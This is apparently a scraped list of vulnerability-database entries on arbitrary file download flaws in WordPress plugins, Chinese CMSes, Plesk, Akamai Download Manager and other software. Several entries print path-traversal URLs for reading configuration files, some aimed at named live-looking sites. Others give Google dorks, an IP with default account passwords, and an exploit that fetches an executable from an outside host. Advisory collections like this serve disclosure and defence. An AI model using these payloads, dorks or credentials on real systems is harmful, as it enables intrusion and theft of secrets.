Filedownload 0.1 - (download.php) Remote File Disclosure

The filedownload WordPress plugin was affected by a download.php Remote File Disclosure security vulnerability...

wp-FileManager <= 1.3.0 - File Download

The wp-filemanager WordPress plugin was affected by a File Download security vulnerability. PoC As seen in access logs: http://www.example.com/wp-content/plugins/wp-filemanager/incl/libfile.php?path=../../=wp-config.php=download...

wp-FileManager <= 1.3.0 - File Download

The wp-filemanager WordPress plugin was affected by a File Download security vulnerability. As seen in access logs: http://www.example.com/wp-content/plugins/wp-filemanager/incl/libfile.php?path=../../&filename=wp-config.php&action=download...

InFocus - Arbitrary File Download

The infocus WordPress theme was affected by an Arbitrary File Download security vulnerability...

PHPYun 3.1 /weixin/model/index.class.php 任意文件下载漏洞

No description provided by source...

WordPress Slider Revolution Responsive 4.1.4 File Download

 Exploit Title : Wordpress Slider Revolution Responsive = 4.1.4 Arbitrary File Download Exploit Author : Claudio Viviani Vendor Homepage : http://codecanyon.net/item/slider-revolution-responsive-wordpress-plugin/2751380 Software Link : Premium plugin Dork Google: revslider.php "index of" Date ...

Plesk Sitebuilder XSS / Bypass / Shell Upload / File Download

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Title : Multiple Vulnerabilities in Parallels® Plesk Sitebuilder Author : alieye vendor : http://www.parallels.com/ Contact : [email protected] Risk : High Class: Remote Google Dork: inurl::2006/Sites ext:aspx inurl::2006 inurl:.ashx?media...

FengCMS 1.23 /app/controller/downController.php 任意文件下载漏洞

No description provided by source...

用友某通用学习管理系统设计不当致用户信息泄漏(可批量)

简要描述： 已经有大牛呵呵过了，至于是谁..自己猜去 详细说明： WooYun: 某通用型在线学习管理系统存在任意文件上传及任意文件下载漏洞 , WooYun: 某通用型在线学习管理系统存在任意文件上传漏洞（另一种奇葩姿势） 用友的e-Learning，wefgod大牛提交过，这里摘取一下他之前提供的弱口令： 首先需要一个低权限账号登录（反正没有验证码，设定好简单密码，按数字直接丢去暴了都没有问题） 给出几个默认或简单密码的： http://58.214.233.113:8800/lmsv5/ 00041013/123456 00041014/123456...

某教育类通用cms任意文件下载漏洞

简要描述： 某教育类通用cms任意文件下载漏洞 详细说明： 不知道算不算通用 可下载web.config文件，数据库信息文件泄露 http://sbc.xzit.edu.cn/hxjc/DownLoad.aspx?Accessory=../web.config http://hedds.njutcm.edu.cn/DownLoad.aspx?Accessory=../web.config http://www.emcjs.org/DownLoad.aspx?Accessory=../web.config...

JumboECMS v1.6.1 /file.axd 任意文件下载漏洞

No description provided by source...

Fengcms 最新版v1.24任意文件下载(绕过过滤)

简要描述： 之前fengcms修复了好几次这个问题，但依旧知识不对。不过到我这个应该就终结了，我会给出好的解决方案。这也不是厂商的问题，如果不是专门搞安全的人也很难考虑到这一点。 多说一句，fengcms送的礼物已经收到了，再次感谢！这种厂商要奖励，很负责！！ 官方给出的测试站已经升到最新版了，我这里测试通过，已经可以下载config.php。 详细说明： /app/controller/downController.php： class downController extends Controller public function index...

FengCMS绕过补丁依旧任意文件下载

简要描述： 非常感谢各位白帽子的辛勤工作！FengCms安全测试站地址：http://guf521656.h163.92hezu.org/ 已经升级到最新版本 有效期2014-7-8至2014-7-15 欢迎各位安全界的朋友帮我们寻找安全漏洞！作为一个小小的创业团队，对各位朋友对FengCms的关注表示衷心的感谢！@路人甲 唉 厂商今天又艾特了，本来不想再看的。。 详细说明： app/contorller/downController.php alert"您要下载的文件不存在！";history.back;'; else echo...

Akamai Download Manager < 2.2.3.7 ActiveX Remote Download Exploit

No description provided by source. html !-- / Exploit start here, by cocoruderfrankruderathotmail.com For Akamai Download Manager File Download To Arbitrary Location Vulnerability. This exploit will download http://ruder.cdut.net/attach/calc.exe to C:\Documents and Settings\All Users\Start...

Muster Render Farm Management System Arbitrary File Download

No description provided by source...

Blackboard Learning System 6.0 Dropbox File Download Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/10515/info It is reported that Blackboard improperly allows users to download files posted in the 'Digital Dropbox'. Files in the dropbox are intended for the course administrators. The application does not verify that th...

mybackup 1.4.0 (afd/rfi) Multiple Vulnerabilities

No description provided by source. + MyBackup 1.4.0 Remote File Inclusion AFD/RFI Multiple Remote Vulnerabilities + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Download Script : http://www.tufat.com/fileslgpl/script96.zip + Arbitrary File Download - PoC...

DMXReady SDK <= 1.1 - Remote File Download Vulnerability

No description provided by source. Title : DMXReady SDK = 1.1 Remote File Download Vulnerability Author : ajann Contact : : S.Page : http://www.dmxready.com/productdetails.asp?mid=5&incid=11&ItemID=178 $$ : 389.97 $ Stop Attack ABD and ISRAEL !...

TFTPD32 2.50 Arbitrary File Download/Upload Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/6198/info A vulnerability has been discovered in Tftpd32 which allows a remote attacker to download and upload arbitrary system files. The ability to upload system files may allow an attacker to replaced key system files...

orbis cms 1.0 (afd/adf/asu/sql) Multiple Vulnerabilities

No description provided by source. + Orbis CMS 1.0 AFD/ADF/ASU/SQL Multiple Remote Vulnerabilities + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Dork : Powered by Orbis CMS + Download script : http://www.novo-ws.com/orbis-cms/download.shtml + Arbitrary File Download + -...